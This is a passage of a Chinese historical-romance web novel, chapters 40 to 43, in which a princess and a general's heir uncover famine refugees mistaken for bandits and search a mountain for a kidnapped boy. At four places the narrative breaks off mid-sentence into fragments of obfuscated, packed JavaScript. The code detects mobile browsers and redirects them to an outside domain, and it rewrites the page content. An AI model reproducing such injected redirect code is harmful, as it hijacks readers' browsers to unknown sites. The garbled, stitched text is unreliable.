l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125016|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拔起来,然后单手将人拎了起来。 这是一个脏兮兮瘦巴巴的小男孩,一双瘦到突出来的大眼睛恐惧地盯着百里浔舟,浑身打抖。 “……” 百里浔舟抱臂倚在一棵大树上,披风垂落脚边。他看着姚知远半蹲在被绑在另一棵小树上的男孩身前,将手里的点心怼到男孩嘴边,在饿急了的男孩张嘴咬过来时,飞快将手撤走。 小男孩咬了个空,一口利牙嘎嘣一声脆响,小兽一般愤怒地瞪着姚知远。 姚知远晃晃手里的点心,“说话,不说话不给你吃。” 小男孩从喉咙里发出野兽一般呜噜噜的威胁声,挣扎着想咬人,见挣扎不过,便砰地靠回身后的树干,撇开视线克制着不再看向姚知远手里的点心。 死犟着就是不肯说话。 姚知远看了看他的眼睛,在阳光下泛出一点幽绿的光。 他起身悠悠走到百里浔舟身前,道:“这是个混血小孩儿,我怀疑他根本不会说大雍话。” 百里浔舟:“……” 承认自己的失败就这么难? 他正要说话,忽然见姚知远直勾勾地盯着他身后,轻轻“咦”了一声,然后双眼微眯,向前探头,仔细瞧了又瞧,嘀咕道:“郡主?” “青天白日,说什么梦话呢?” 封眠身体还没好利索,此时此刻肯定还在王府里看文书呢。 百里浔舟一边如此想着,一边不自觉地回首看去,然后便腾地站直了身子,将姚知远吓了一跳。 远处晃悠悠驶来的,不是郡主的马车还能是谁的? 马车缓缓在驻扎地停下,流萤当先跳下了马车,正回身要扶封眠出来,身侧忽然有一条手臂先她一步伸出,百里浔舟眉眼微微压着,不甚愉快地模样。 “你怎么来了?” 封眠从善如流地搭着他的手跳下马车,先扭过脸去咳了两声,才道:“听说你临时决意去剿匪,又是拥雪关这般危险的地界,我放心不下。” “你!”百里浔舟咬了咬牙,心口泛起一阵由担忧引起的烧灼的怒火,转眸望进她清泠泠一双眼中,又发不出来火,语气暴躁,声调却忽地软了下来,“你也知道此地危险,关外便临着游荡的北夷骑兵,还敢跟来?” “我们从前不知上了多少次战场,如今不过剿一窝不成气候的匪徒罢了,有何放心不下?” “从前我也不在呀。”封眠答得理直气壮。 百里浔舟一梗,心中某处不由软了下去,像浸在热乎乎的山泉水中一般,嘴上却问,“母亲竟同意你胡闹?” “先斩后奏嘛,我跟你学的。放心,我只在后方待着,有鸾仪卫护着,不给你捣乱。”封眠冲他眨眨眼,彻底让百里浔舟没了话讲。 “你这路上可遇到什么奇怪的人没有?”封眠开始切入正题,暗戳戳试探他可有先自己一步遇到神秘人。 百里浔舟点点头,封眠心中一惊,正要追问,就见他扬扬下巴,点了点被捆在小树上的男孩,“这男孩算不算?突然出现在流匪出没的地方,一句话也不肯说。” 封眠:“你们都问不出话吗?” 她有些惊讶,之前看百里浔舟审犯人,挺有一套的呀,原来拿小孩子也没有办法? 百里浔舟:“……我还没问呢。是姚知远什么都没问出来。” 姚知远淡淡瞥他一眼:承认自己的失败就这么难? 40. 第 40 章 不肯承认自己失败的百里浔舟,当着封眠的面再现了一次失败。 他往那儿一站,高大的身躯遮住开始西斜的日头,大片的阴影投下来,将小男孩整个笼罩住。身后的披风被风卷起,投下张牙舞爪的怪样子。 小男孩头也不敢抬,闭起眼睛,吓得发抖。 “好了,你别吓他了。我来试试。” 一道温柔的嗓音落入小男孩耳中,他悄悄眯起眼,从一点点的缝隙中瞧见一个漂亮的身影挤走了那道吓人的身影,然后在他面前蹲了下来,吓得他一下子又赶紧闭上了眼,却是没再发抖了。 “小朋友,你叫什么名字?” 男孩警觉地梗着脖子,警觉地不肯吭声,阿娘说了不能跟不认识的人说话! “我叫封眠,是大雍的郡主,我们不会伤害你的。” 男孩呆了呆,啊,知道了她的名字,就不算不认识的陌生人了吧?而且她说,不会伤害他的。 她的声音这么温柔,应该不是坏人吧。 男孩犹犹豫豫地睁开眼,飞快地看了一眼封眠,发现她一直笑盈盈地看着自己,笑得特别好看,更放心了一点点,她肯定不是坏人。 “阿央。”他低低地开口,水米未进的嗓子干干哑哑的,十分虚弱。 封眠抬手招了招,从流萤手中接过一碗水,先自己抿了一口,才递到阿央面前,“阿央,喝吧。” 阿央一怔,舔了舔干裂的唇,猛地探头咬住碗沿,咕嘟咕嘟将一碗水喝干了。 再看向封眠时,他眼底又少了两分警惕。 封眠这才注意到他的眼睛竟是绿色的,“你的眼睛……” 阿央浑身一颤,瑟缩着便要低下头,却听见后半句,“……真好看。” 他怔了怔,终于敢不闪不避地迎上了封眠的目光。 “你是北夷哪一族的人?”封眠轻声问,尽量不给他任何压力。 “我是大雍人。”阿央硬邦邦道,“我阿娘是大雍人,我也是。” 他才不是没人要的野种。 看来还是个很爱阿娘的好孩子。 封眠看了看他被绑在树上的双手,探寻地看了百里浔舟一眼,见百里浔舟点头,才道:“我帮你把绳子解开,你不要跑好吗?我们只是想问你一些事,不会伤害你的。问完你就可以离开了,好吗?” 阿央盯着她,似乎权衡了一下,才点了点头。 封眠正要去解绳子,百里浔舟先一步蹲了过去,“这是军中特有的绳结,我来吧。” 似是有意教封眠这么解一般,他解的有些慢。 待束缚的绳索被解去,阿央迅速团抱着手脚坐了起来,却是没跑,只是警觉地看着封眠,“问吧。” 百里浔舟:“你为什么会出现在山上?” 阿央理也不理,只盯着封眠,满脸都写着“我只跟她说话”,气得百里浔舟“啧”了一声,看了一眼封眠,还是忍住了没有对小孩子动手。 封眠忍笑,将流萤送来的点心摆到了阿央面前,“先吃些东西恢复点体力吧。” 这一盘点心比刚才那个故意耍他的男人手里的点心要新鲜漂亮多了,阿央咽了咽口水,抓起一个大咬一口,眼睛登时亮了,狼吞虎咽地将一整块点心吞吃入腹。 封眠怕他噎着,又递来一碗水,被他一口气喝光了。 阿央看着剩下的点心,没再伸手拿,小心翼翼地问:“我能把这些带回去吗,我阿娘他们好些天没吃东西了。” “当然可以。你别怕不够,尽管吃,我再给你拿一些,让你带走。” 看着阿央终于又拿起一块点心吃起来,封眠才问出心底的疑问,“你方才说,你阿娘他们好些天没吃东西了是什么意思?” “家里没吃的了,村长说要带我们去找吃的,阿娘就带着我跟出来了。”阿央肩头垂了下来,不大高兴,“三天前他们劫了个路过的富商,我们吃了点东西,然后就又没东西吃了。” 封眠和百里浔舟对视一眼,顿觉不妙。 拥雪关所谓的匪患,莫不就是这些吃不饱肚子的百姓吧?可近日并没有何地遭灾闹饥荒的消息传过来啊? 阿央误会了他们的反应,忙道:“村长他们没杀人,只抢了点吃的!你们别抓他们!” “你放心,不会的。”封眠继续循循善诱:“那你家在何处呀?怎么就没吃的了呢?” 阿央的肩膀更塌了,“在黑石沟。临近收成的后一个月里一直没再下雨,庄稼都没长成。县里头不让我们进,说我们是流民……” …… 封眠给阿央装了满满一个包袱的点心,并四大袋装满了干净水的水囊,让阿央将东西带回去,跟他们村长说清楚,让村长明日亲自过来谈。 派一个哨探送阿央离开后,百里浔舟一直压抑的情绪才爆发出来,一拳砸在了树上,咬牙怒道:“灾情如此严重,那白水县县丞竟敢瞒而不报!” 树枝颤颤抖落一片叶雨,封眠亦感心情沉重,“我记得从白水县到拥雪关,好似还有两三个城镇,竟没有一处肯收留他们,或者将灾情上报吗?” 姚知远道:“北疆的粮食一直不甚富足,恐怕这些城镇也没有余粮接济。况且沿路一带比邻北夷,常遭劫掠,有些北夷人也会乔装成大雍人骗取信任。” “有些人或许是胆小怕事,有些人或许误会是北夷作乱,才合力造成了如今的局面。” 剿着剿着匪,要剿的流匪忽然变成了无辜受灾的流民,再加上还没摸到那群拐子的踪迹,众人一时有些士气低迷。 时近日暮,晚霞肆意流淌,毫无遮挡地倾泻而下。 封眠见状,立即吩咐下去,“去将营帐搬出来,让大伙儿帮忙搭一下,其他人去生火做饭吧。” 鸾仪卫立即招呼上疾羽营的诸位一起忙活起来。 百里浔舟目瞪口呆:“你怎么还带了这么多东西?” “你本来只打算出来一日,想必什么东西没准备。我便都带上了,临时弄来的,若是有什么不习惯的地方,还要请大家多担待担待了。” “谁敢不习惯?”百里浔舟扬了扬眉,“若不是你来了,今日他们可是要幕天席地的。” 现下不但有营帐可睡,还能吃上一口热饭,他们怕是要感激涕零了。 当营帐一顶顶扎好,炊烟也迎着渐深的暮色飘了起来。 封眠特意从作坊里取了些即食汤饼来,走的自己的私库。 军需还没将即食汤饼纳进去,今日算是先给大家尝个鲜了。 即食汤饼下了锅,香味飘得满山都是。 疾羽营士卒们谁也不乱走动了,都围着咕嘟嘟煮着热汤面的锅,被热气扑了满面也不躲,不住地嗅着,狂咽口水。 有幸试吃过的王二和燕小七成了人群中最得意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132007|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,绘声绘色地给旁边的人讲这即食汤饼如何美味,导致当煮汤饼的时间到了,周围人一拥哄抢时,两人皆被挤出来摔了个屁股蹲。 有被馋得厉害的顾不上烫嘴先吃了一口,一边被烫得跳脚,一边嗷嗷嚷着好吃。 王二和燕小七也终于抢到了一碗,刚尝一口便眼前一亮,“用锅煮过的即食汤饼,比沸水冲泡的还要更有滋味!” 众人埋头吃得热火朝天,跟这即食汤饼比起来,他们往日吃的行军粮还能算是吃的吗? 有人喝了一口热汤,满足地打一个饱嗝,抱着热乎乎的汤碗看向变得漆黑的天幕。 往日行军中幕天席地时看了无数遍的景色,此刻好似突然变得温暖了起来。 王二和燕小七还在喋喋不休地念着,郡主的作坊听说运转得很好,郡主觉得他们过得太苦了,郡主说他们是守家卫国的将士,是英雄,所以她想让他们过得好些,她要把即食汤饼纳入军需,让他们以后都能吃上这么好吃的东西。 有那感□□哭的,掉了两滴眼泪进汤碗里,闷闷地说:“郡主来了可真好。” 没有人反驳他,大家心中都这般想,郡主来了,可真好。 以往军营是最苦的地方,但百姓们因他们能守家门而敬爱他们。只要家还在,命还在,他们也不怕吃苦。 可如今郡主却过来说,想让他们过得不这么苦。不但着手帮他们改善伙食,还帮他们的家人谋取了福祉。 家在云中郡的士卒们都收到了家人的信,郡主发的铭牌非常有用,往日他们总过得紧巴巴,一点好东西都舍不得买,可自打能去郡主的铺子里买东西,钱好像一下子禁得住花用了。 尤其是回春堂。 北疆的大夫本来就少,药钱贵,诊费也贵。别说买药了,他们病了都舍不得去看大夫。 可凭铭牌能去回春堂免费看诊,不知让他们免了多少病痛。 家不在云中郡的都恨不能立即将里人迁过来。 总之千言万语都可化成一句,郡主来了真好。 郡主本人正与百里浔舟坐在敞阔的马车里,马车门窗皆敞开着,将汤面浓重的散出去。 百里浔舟恰着点儿想要关上门窗,“你病都还没好全,别再受寒了。” 比起初见时的冷淡和微嘲,此刻的话语中尽是担忧关切。 封眠皱着鼻尖嗅了嗅,不大满意,“再透会儿气,吃饱了再闻着这个味道,我睡不着。” 百里浔舟有些无奈,现下山上都是汤饼的味儿,这要散到什么时候。 他想了想,单手扯开了颈下的披风系带,往封眠的方向微微一靠,用墨色披风将封眠裹了个严实。 他探着身,修长的手指将披风两侧像掖被角那样掖进封眠的肩背下,指节寸寸抚过她的肩头,才觉手下人实在瘦弱,肩背处骨骼分明,根本没长什么肉。 耳边传来闷闷的憋着咳嗽的声音,百里浔舟抬眼看去,才惊觉自己竟贴得这般近,两人之间只容得一拳的距离。 封眠喉间痒痒的,想咳嗽,却顾及着近在咫尺的百里浔舟,憋得脸都红了。 莹白如玉的脸颊上升起两道淡淡红晕,看得百里浔舟更是呆了一下。 心脏处砰砰,砰砰地…… 轰隆! 天边一声雷响险些惊得百里浔舟三魂去了七魄,手撑车窗才没丢脸地一头栽进封眠怀里。 41. 第 41 章 一场突如其来的暴雨浇灭了火堆,众人纷纷躲进营帐里时,都再次心有余悸地感慨幸好郡主来了,否则他们可是要被淋成落汤鸡了还没处去躲。 只是柴火都浇透了,外头一点光亮也瞧不见,当真是陷入了伸手不见五指的黑暗中了。 马车内,百里浔舟方才已借着闪过的雷光飞快地将敞开的门窗尽数关上,密闭的车厢内亦是一片漆黑。 他后背绷紧,死死抵在车壁之上,被木质棱格硌得生疼,另一手牢牢抓住身下的坐榻,平复着略显急促的呼吸,尽量缓着语气问道:“灯烛呢?” 耳边传来窸窸窣窣的声音,封眠似乎在摸索着什么,他感觉到自己的肩头被一只手撞了一下。 “应是方才被潲进来的雨打灭了。”封眠摸出手帕,凭着刚才的印象,试探着送向百里浔舟的方向,摸索着想送到他手里,“你刚才也被打湿了吧?快擦一擦。” 百里浔舟向后仰了一下,抬手抓住差一点就要怼到自己脸上的手,“好好,我自己来,你坐好。” 封眠乖乖坐好不再动弹,百里浔舟拿着手帕擦了擦自己被打湿的头发衣领,鼻尖萦绕着手帕上十分浅淡的香气,加之感触到身旁人的呼吸声,一颗砰砰狂跳的心稍感安定不少。 但睁眼不能视物的黑暗还是让他难以忍受,看似不经意地开口问道:“火折子在哪儿?我来将灯点上。” “应是在雾柳身上。” 用膳时流萤和雾柳去了后面那辆马车,现下风雨大作,总不能因一个火折子便折腾人。 “没事,我不怕黑,再说也要到就寝的时候了,不点灯也无妨。” 封眠语调轻松,她颇有些新奇地倚在车壁上,听着外头雨势渐急,豆大的雨滴不断砸落的声音如珠玉落盘,狂风不间断地卷过树梢,又像极了有恶鬼在呜呜哭嚎。 在这样的天气睡在马车里,既不会被淋透,也能体验如同置身森野一般的感觉,别有一番意趣。 她正想与百里浔舟说这一新发现,忽然察觉他似乎好半晌都没说话了。 她悄悄往百里浔舟的方向侧了侧耳朵,自被马车隔绝在外的狂风暴雨声中,终于听到一丝努力压抑着的,略显急促的呼吸声。 他在害怕? 封眠呆了一呆,这念头在脑海中转了一圈,才转为“他怕黑”这三个大字。 原来他方才要火折子是因为怕黑呀。 见百里浔舟忍得这般辛苦,封眠也不好意思戳穿他。堂堂定北王世子若被人发现竟然怕黑,估计会惊掉不少人的下巴,令仇者快! 她努力回想了半晌,俯身向前探了探手,摸到了马车上的案几。 百里浔舟听见动静,心神打了个岔,问道:“怎么了?” 封眠:“没事,你等等……” 她在案几上摸索着,打开一个锦盒,自里头拿出一个巴掌大小的夜明珠来,莹莹微光略略照亮了眼前的一线天地。 封眠手撑着案几起身,一屁股坐到百里浔舟身侧,两人的胳膊挨挨挤挤地偎在一处,热乎乎的。 百里浔舟先是浑身僵了一瞬,再看封眠手中的夜明珠,并不刺眼的光照亮了她的轮廓,让他紧绷的肩背松懈下来,低而缓地轻轻吐出一口气,终于有心情说话了。 “你出行,还随时带着这么大一颗夜明珠?” “以备不时之需,这不就用上了吗。” 百里浔舟垂下眼,“方才不是说不怕黑?” 封眠哽了一下,心道问得这么清楚做什么? “方才是方才,我现在不困,便想照个亮,不行吗?”她干脆不讲理起来,故意逗弄道,“你若嫌太亮了,我收起来就是了。” 说着她便作势要将夜明珠放回去。 “别!”百里浔舟忙握住她的手腕,便发现她根本就坐着没打算动时,就知她是在故意逗弄自己,轻哼一声,松开她的手腕,重新靠回车壁。 “好吧,是我怕黑。”他干脆破罐破摔,未被夜明珠照到的耳尖已是一片通红,说罢又小声嘀咕着,“这有什么不能说的,本世子怕黑也照样能上阵杀敌,不丢脸。” 封眠闷笑一声,又很快忍住了,道:“是啊,怕黑而已嘛,我小时候也是很怕黑的。” “小时候怕?现在当真一点不怕了?”百里浔舟斜睨着她。 “不怕。”封眠顿了顿,在这间于风雨中庇护安稳的马车内,在不算静谧的黑夜中,忽然有一种想要倾诉的欲望,便继续道,“其实我小时候也遇到过拐子。” “嗯?”百里浔舟登时扭过脸去,惊讶地看着她,“你……你不是长在宫中?” 皇宫守卫森严,便是她出宫玩耍,应也是被侍从重重包围着,什么拐子这般胆大? “大概是四五岁的时候,父亲的死讯传入了宫中,我就一个人偷跑了出去。”封眠盯着手上的夜明珠,陷入回忆之中。 小孩子的思维很简单,她那时只知道“死了”便是不会再回来了,再也见不到了,就觉得如果父亲回不来的话,她便去找他! 她一个还不及大人小腿高的豆丁,愣是闷头跑出了盛京,几里路之后,就被拐子盯上了。 拐子把她掳走,又带着走了一段路,最后将她关入一个山洞中。 山洞里还有许多其他孩子,被垒出来的土壁分别关在不同的小隔间里。 小封眠极其怕黑,偏偏山洞里一丝光亮也无,像一张密不透风的网兜头将她罩住了。她忍不住哭了出来,隔壁关着的一个小男孩好像有些不耐烦地过来敲她身侧的土墙,让她别哭了。 小封眠一边抽噎着一边说自己忍不住,周围太黑了,她害怕。 “黑有什么好怕的?”男孩扬高声音道,“我娘说过,黑暗里其实藏着星星守护神,只是我们看不见而已。” “真的吗?”小封眠抬起泪眼,虽然眼前依旧是一片漆黑,却隐约没那么害怕了。 “当然了,它们会一直保护你的,你也要勇敢一点。” 土墙那头传来窸窸窣窣的挖土的声音,“你过来点儿。” 小封眠听话地循声挨过去,感觉有一只手抓住了自己的衣服。 “我牵着你,别怕。” 原来他方才找了个薄一些的土墙,从中间掏了个洞出来。 有了小伙伴依靠,小封眠也不怕了,她抬手牵住男孩的手,两只冰凉的手彼此温暖着。 “那之后我就不怕黑了。”封眠颇有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136887|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些骄傲地扬起了下巴。 只是可惜那时候没有问过那个男孩的名字,时间过去了这么久,她也记不清更多细节,教会她不再害怕的小英雄在那之后就消失在了她的生命中。 百里浔舟不知为何心中不大高兴,自鼻腔之中发出一声轻哼,“你也太好骗了,这世上哪里有什么鬼神。” 还什么星星守护神,幼稚死了。 他就从来没信过这种说辞…… “啊!” 他突然惊叫一声,后脑一仰磕到了车壁上。 方才封眠把夜明珠捧到下巴处,猛地贴向他,幽幽微光自下映亮她的脸,再漂亮的五官也如鬼魅一般。 封眠哼哼两声,道:“既没有鬼神,那你怕什么?” 百里浔舟深呼吸一口气,并起两指抵住封眠的额头,将她推开些许。 “怕就是怕了,要什么理由。我从做婴儿时就在怕了,不行吗?” 话说开后,百里浔舟反倒十分坦然了。世人总要给自己的害怕找一个理由,他偏不。 封眠忍了忍笑,只能说道:“行,你做什么都行。” 两人之间一时安静了下来,只听得马车外雨打风吹的声音。 雨声与风声交织成一片混沌的喧嚣,嘈嘈切切的声响,听着竟莫名生出几分安心,让人的思绪都慢了下来,困意渐渐涌上来。 “你给我的香包是不是用来追踪的?” 百里浔舟冷不丁冷不丁这么一问,吓得封眠瞌睡都醒了,刚要靠向百里浔舟肩头的脑袋也僵硬地卡在原地,一动不敢动。 她一时想装睡,但这都是百里浔舟第二次问相关的话题了。第一次时她就借口要睡了逃了过去,这次他都问的这么直接了,她再不答话,怕是要不好。 封眠不大自在地动了两下,打算模棱两可地糊弄过去,“我只是担心你再遇到危险,才想知道你的行踪……” “你若介意,便将香包还给我便是。” 说是这么说,封眠根本不相信有人会把别人送的礼再当面还回去,那也太失礼了。 百里浔舟犹豫半晌,确实也没动作,只道:“罢了,夜深了,睡吧。” 封眠如蒙大赦,将夜明珠摆到案几上,翻出两件毛斗篷来,分了一件给百里浔舟,便安心地蒙头去睡了。 心下还觉得,他可真好糊弄。 借着夜明珠的微光,百里浔舟的目光落在封眠模糊的侧颜之上,心下叹一口气。 他觉得自己的猜测好像成真了,这可如何是好? 翌日天亮,空气中弥漫着雨水浸透泥土的潮湿气息,和松木被风雨摧折后溢出的清苦树脂香。 封眠正在马车内洗漱,便听见外头传来阵阵吵闹声,听着像是吵起来了,夹杂着几句封眠听不懂的乡土话。 她正准备下马车去瞧一眼,同样被争吵声引来的百里浔舟拦了拦她。 “雨后地面泥泞不堪,你别下来了,我去瞧瞧,等会儿来找你。” 百里浔舟自行去查看,封眠便只能揣着一肚子担忧困惑坐回去,由着雾柳和流萤继续替她梳妆。 半晌,帐帘被掀起,百里浔舟神色肃然地探首。 “阿央不见了。” 42. 第 42 章 寻上山来的是阿央口中的村长和其他村民,阿央娘亲几乎哭晕了过去,被同村的妇人搀着,神色哀戚地靠在树上。 一开始的争吵源自几个五大三粗的壮汉,他们执拗地认为是百里浔舟一行人将阿央带走的,因此情绪十分激动,不分青红皂白便是一顿大骂。 百里浔舟头次被自己人气得不轻,他此番出行的最初目的是为了寻找拐子的踪迹,所以带的人都未穿戎装,瞧着像是普通的富家少爷和他的护卫们,昨日也并未向阿央坦明身份,因此现下一句话都还没来得及说,就这么被人兜头扣上一顶拐孩子的帽子。 幸而村长还有些脑子,认为百里浔舟他们一开始虽然抓了阿央,却又塞了那么多饮水吃食给他带回去,没必要再多此一举偷偷将人掳走。那几名壮汉才没有不管不顾地莽上来。 待百里浔舟亮出定北军的令牌,众人态度顿时三百六十度大转变,呼啦啦跪了一地,求他帮忙寻人。 “所以阿央昨日是平安回去了,今晨暴雨停了之后,他出来探路,便丢了?” 封眠拧着眉听百里浔舟说完,难掩担忧。 百里浔舟点头,“正是。” “他们为何笃定阿央是被掳走了,而不是迷路了?” 刚下过一场暴雨,山路正是难走的时候,这时候辨不清方向迷失在密林之中也是极有可能的事,封眠的疑问不无道理。 “村长说阿央脑子好,最会认路,所以昨日才由他出来探路。” 虽然运气不大好,一露头就被他抓了。 百里浔舟将村长和阿央娘亲的话一一转述,“他们这一路逃难而来,极端天气并不是没遇到过,阿央认路的本事从不会受天气影响,这也是为什么今晨阿央会出来探路。” 村长他们久等阿央不归,担心出事,这才出了藏身的洞穴,将四下能找的地方都找遍了,人影皆无。 就算是遇到了野兽,也一定会留下挣扎的痕迹,甚至是血迹,可是连这些痕迹也都没有,所以他们这才断定阿央定是被人掳走了。 封眠和百里浔舟对视一眼,想起百里浔舟最初追踪的目标,异口同声道:“拐子!” 看来百里浔舟此前的推断没错,这些人当真是来趁乱拐人的。 百里浔舟眸光一沉,下令道:“搜山。” 所谓匪患,只是一群走投无路的普通百姓,百里浔舟等人的重心,重又转回了那群胆大包天的拐子身上。 此处山势险峻,暴雨后又渐渐升起了浓雾,寻常人极易迷失方向,村长和其他村民便自告奋勇地加入搜山队伍之中,为疾羽营和鸾仪卫带路。 他们在这儿待了好多时日,比新到此地的众人要更为熟悉地形。 很快,众人混编成队,每十人一组,沿着山脊向四面八方散去。 混着枯枝碎石的泥水顺着陡坡蜿蜒而下,封眠纤白的手指紧紧扣住一截裸露的树根保持平衡,小心翼翼地在泥泞的山地间迈着步子。 百里浔舟不住地回头看她,见她绣着兰草纹的裙裾早已被泥浆浸透,精巧的小羊皮靴上也糊满了泥巴,喉结动了动,终于忍不住道:“你该留在原地的。” 封眠抬袖擦了擦鬓角的汗,蹭开粘在颊边的碎发,“这座山这么大,人手自然是越多越好,与其留一群人在原地保护我,不如带上我一起,还能多出一份力。” “况且,这种情况,让我如何心安理得地干等着?” “你不用管我,我定不会拖后腿的。”封眠抬起因方才的动作而蹭上一层灰的小脸,冲百里浔舟笑了一下,像只蹭了灰的可爱白毛。 百里浔舟垂在腿侧的指尖抑制不住地轻轻动了动,正想替她擦掉颊侧的灰,跟在封眠身后的流萤和雾柳一左一右地探出头来,拿着手帕替她擦汗,顺道擦净了脸颊。 嘴上还催促着:“世子快些往前走吧,这里是风口,流了汗再吹风,容易生病的。” 百里浔舟哑然,将蠢蠢欲动的手背到身后去,转身继续往前搜寻。 蒸腾起的乳白雾气令十步之外难辩人影,众人只能逐步紧跟前方的人,一寸寸摸寻而过,生怕错过某个隐蔽的洞口。 走了太久,封眠腿酸脚疼,已有些体力不支,但仍咬牙忍着,鬓边碎发被汗水打湿,黏在泛红的脸颊上,却已没心思再去管,一面与脚下一踩便陷进去的泥泞做对抗,一面将全部心神都用来注意周遭一丝一毫的变化来。 忽然她停住了脚步,走在前方的百里浔舟一直在用余光关注着她的状态,见状立即令众人停下脚步,退两步走到她身前,“怎么了?” 封眠按住百里浔舟的手腕,抬眸时眼里尽是忐忑心惊,“我好像踩到了什么东西……硬硬的……” 她不安地咽了咽唾液,未知比任何东西都要恐怖。 “别动。” 百里浔舟在她身前蹲下身,一手握住她定在原地的脚腕,另一手悬在一旁作势等待。 “三、二、一,抬脚!” 封眠配合着猛地抬起脚,身后流萤和雾柳扶住了她,没有让她因失去平衡而踉跄。 看清封眠脚下的东西,百里浔舟先是松了口气,再是蹙起了眉头。他将埋在泥泞中的东西拿起来给封眠看,“是枚桃篮。” 桃篮是用桃核做成的篮子形状的小饰品,一般戴在孩子的手腕或者脚腕处,有辟邪保平安的说法。 系在桃篮上的是条五彩绳。 “这是阿央的东西。” 封眠记起昨日她曾在阿央手腕上看见过。 寻常人一般都用红绳系桃篮,阿央腕上戴的却是五彩绳,编织得非常漂亮,封眠还着意多看了一记眼,因此立即认了出来。 这东西掉在此处,附近一定还有别的痕迹。 百里浔舟立即吩咐众人细细搜索附近的每一寸土地,连带着淤泥底下也不能放过,不可错过任何一处异常。 封眠跟着众人一并散去搜查,百里浔舟慢一步落在她身后,皱眉看向她的脚。 她迈步时微微迟疑地顿了一顿,左脚落地时比右脚轻些,像是怕踩实了似的。 百里浔舟快走两步跟到她身侧,状似不经意道,“若是累了便歇一歇,无妨的。” “我没事的。”封眠兀自逞强道,时间宝贵,现下大家都在努力搜寻,没人喊痛喊累,她自也不能那么娇气,只是有些脚痛,尚在可以忍耐的范围里,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144994|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想因自己拖累了大家的进度。 “放心吧,我吃了预防的丸药,不会出现突然生病,还要累你们背我回去这种情况的。” 她当百里浔舟也是怕自己拖后腿,忙又补充了一句,她反手掩唇,凑近了些说道:“我常生病,知道自己的上限在何处,你且放心吧,我最会照顾自己了。” 百里浔舟想起她身子还未养好便追来这荒僻之地的举动,又瞧瞧她明显有些不对劲的腿脚,心下对她“最会照顾自己”这句话十分存疑。 她分明将他和其他人,都看得比她自己重要。 封眠正要继续迈步向前,忽然腰间一紧,脚下离地。 竟被百里浔舟单手扣住腰侧,轻巧地提起来,搁在了旁边一方平整的山石上。 “在这儿歇着。”几个字结结实实地砸在封眠耳边,带着不容质疑的决断,温热的指尖在她腰侧一触即离。 她坐在石头上,下意识攥紧了裙裾,“我还能走……” “多你一个不多,少你一个不少。”他垂眸看她,不容置疑,“你没经验,没体力,找到了阿央的桃篮已算是帮了很大的忙,安心歇着便是,剩下的交予我们。” “这是我们一起努力的事,你也应相信我们。” 封眠一怔,看着他转身将雾柳和流萤也喊了回来,“好生照顾郡主。” 晨雾漫过他的肩头,将那道挺拔的身影晕染得模糊又清晰。 “最少一刻钟。”他头也不回地朝雾中走去,清冽的声音传来,“不许提前下来。” 封眠被流萤和雾柳一左一右看住了,自然不能不听话。 在涉及封眠身体健康的事情上,她俩有志一同,与百里浔舟站在同一边。 “我还当世子殿下这般武夫都是粗莽的,没想到他竟这般心细,还知道关心郡主呢。”流萤虽然还有些怵百里浔舟,但看他与郡主相处甚好,对他倒也没最初那么怕了。 雾柳四下看了看,无奈道:“这里水汽泥泞太多了,东西也没带全,郡主只能暂且先忍一忍,待寻到人回去了,奴婢再给您瞧瞧脚上可有受伤。” “嗯。放心吧,我真的没什么事。”封眠翘首四望,焦急等着搜寻的结果。 “这里——” 雾中忽然传来一道声音,封眠当即跳下石头,连声嘶着气往声源方向跑。 一直走着路的时候真的还能忍得住,但歇了一会儿再踩在地上,脚上的酸痛感便骤然鲜明起来,仿佛有无数细小的针尖戳着。 但封眠一路不停,跌跌撞撞奔到了声源处,恰与百里浔舟撞到一处。 她心虚地回避着百里浔舟凝目盯来的视线,问方才说话的人,“发现了什么?” 说话那人是黑石沟的村民,他往地上一指,湿泞的泥地里混着一团绿,是被嚼烂的草药。 “有人在这里采摘过草药。这是金疮草,嚼碎了可以敷在伤口上。我们村里没人受伤,没采过金疮草。” 那便是在此处活动过的其他人所采了。 百里浔舟端详着,道:“这像是有人故意留下的标记。” “沿着这四周继续找,那个人一定留下了不止一处标记!” 43. 第 43 章 山风将浓雾吹开一道缝隙,露出崖壁上一道被枯藤掩映的裂缝,几块巨石堆叠着堵在裂缝前,加强了枯藤带来的伪装。 自缝隙中隐隐约约能听见孩童的咳嗽声,和紧随而来的男子咒骂声,模糊不清地飘出来几尺便被风吹散了。 